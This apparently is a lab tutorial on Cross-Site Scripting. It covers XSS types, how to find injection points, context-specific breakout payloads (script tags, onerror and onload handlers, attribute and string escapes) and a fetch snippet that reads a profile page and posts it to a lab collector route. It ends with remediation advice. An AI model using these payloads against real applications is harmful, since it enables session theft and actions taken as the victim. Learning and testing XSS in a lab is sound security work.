Cross-Site Scripting happens when attacker-controlled content is executed as JavaScript in another user's browser.
The primitive is browser execution. If the application places untrusted data into a page without the right output handling, the browser may treat that data as HTML, JavaScript, a URL, or an event handler instead of plain text.
XSS is not a server shell. It runs in the victim's browser, inside the vulnerable application's origin. That still matters. JavaScript running in the right origin can read page content, call same-origin APIs, submit forms, modify the DOM, and access any cookies or storage values that are exposed to JavaScript.
Common abuse scenarios include:
- Session theft when cookies are not
HttpOnly - Account actions performed as the victim
- CSRF token extraction
- DOM manipulation and fake login forms
- Internal API calls from the victim's browser
- Stored payloads that trigger whenever an admin views a record
- Blind XSS against support panels, log viewers, or moderation queues
When enumerating XSS opportunities, try to identify:
- Inputs reflected into HTML responses
- Stored fields displayed to other users
- Admin panels that render user-submitted data
- URL parameters consumed by JavaScript
- JSON values inserted into the DOM
- Markdown, rich text, or HTML preview features
- File names rendered after upload
- Error messages containing user input
- Redirect parameters placed into links
- Unsafe DOM sinks such as
innerHTML,outerHTML, anddocument.write
Types
Reflected XSS happens when input from the current request is returned in the response.
Stored XSS happens when input is saved by the application and executed later when a page renders it.
DOM XSS happens when client-side JavaScript reads attacker-controlled data and writes it into an unsafe DOM sink.
The testing question is:
Where does the input land?
The answer decides the payload.
Enumeration
Start with harmless markers:
ootw-xss-test
"><ootw>
'</ootw>
Submit the marker into:
Search boxes
Profile fields
Comments
Messages
File names
Contact forms
Support tickets
Admin-visible fields
URL parameters
Hash fragments
View source and inspect the DOM.
Look for the marker in these contexts:
HTML text
HTML attribute
JavaScript string
URL attribute
CSS block
JSON response
Use a simple proof payload first:
<script>alert(1)</script>
If tags are filtered, test event handlers:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
If JavaScript execution is blocked but HTML still renders, test whether HTML injection exists:
<h1>ootw</h1>
For DOM XSS, inspect client-side code for sinks:
innerHTML
outerHTML
insertAdjacentHTML
document.write
eval
setTimeout(string)
new Function
Interesting findings include:
- A marker reflected without encoding
- A tag rendered as HTML instead of text
- An event handler executing
- JavaScript string breakout
- User content rendered in an admin-only page
- Payload execution after page refresh
- Payload execution without a server request, usually DOM XSS
- Access to readable cookies, local storage, or CSRF tokens
Once execution is confirmed, prove impact with the smallest useful action. In the lab, use alert(1), page modification, same-origin requests, or the local collector route. Do not jump straight to noisy payloads.
Exploit
- Confirm reflection or storage with a marker.
ootw-xss-test
- Identify the output context.
HTML text example:
Search results for: ootw-xss-test
Attribute example:
<input value="ootw-xss-test">
JavaScript string example:
<script>
const name = "ootw-xss-test";
</script>
- Break out of the context.
HTML text:
<img src=x onerror=alert(1)>
Quoted attribute:
" autofocus onfocus=alert(1) x="
JavaScript string:
";alert(1);//
- Confirm JavaScript execution.
<script>alert(document.domain)</script>
- Prove same-origin access in the lab.
<script>
fetch('/profile')
.then(r => r.text())
.then(t => fetch('/xss/collect', {
method: 'POST',
headers: {'Content-Type': 'text/plain'},
body: t
}))
</script>
- For stored XSS, verify where it triggers.
Submit comment -> refresh page -> payload executes
Submit support ticket -> admin opens ticket -> payload executes
- For DOM XSS, verify whether the payload is processed by browser-side code only.
Change URL fragment -> no server request -> payload executes
Remediation
Patch XSS by fixing output handling:
- Encode untrusted data for the exact output context.
- Render text as text, not HTML.
- Use safe DOM APIs such as
textContent. - Avoid
innerHTMLfor untrusted data. - Sanitize rich HTML with a proven allowlist sanitizer.
- Mark session cookies as
HttpOnly,Secure, andSameSite. - Add a strict Content Security Policy after output handling is fixed.
- Keep user-controlled data out of inline JavaScript.
Input validation helps keep data clean. It does not replace output encoding.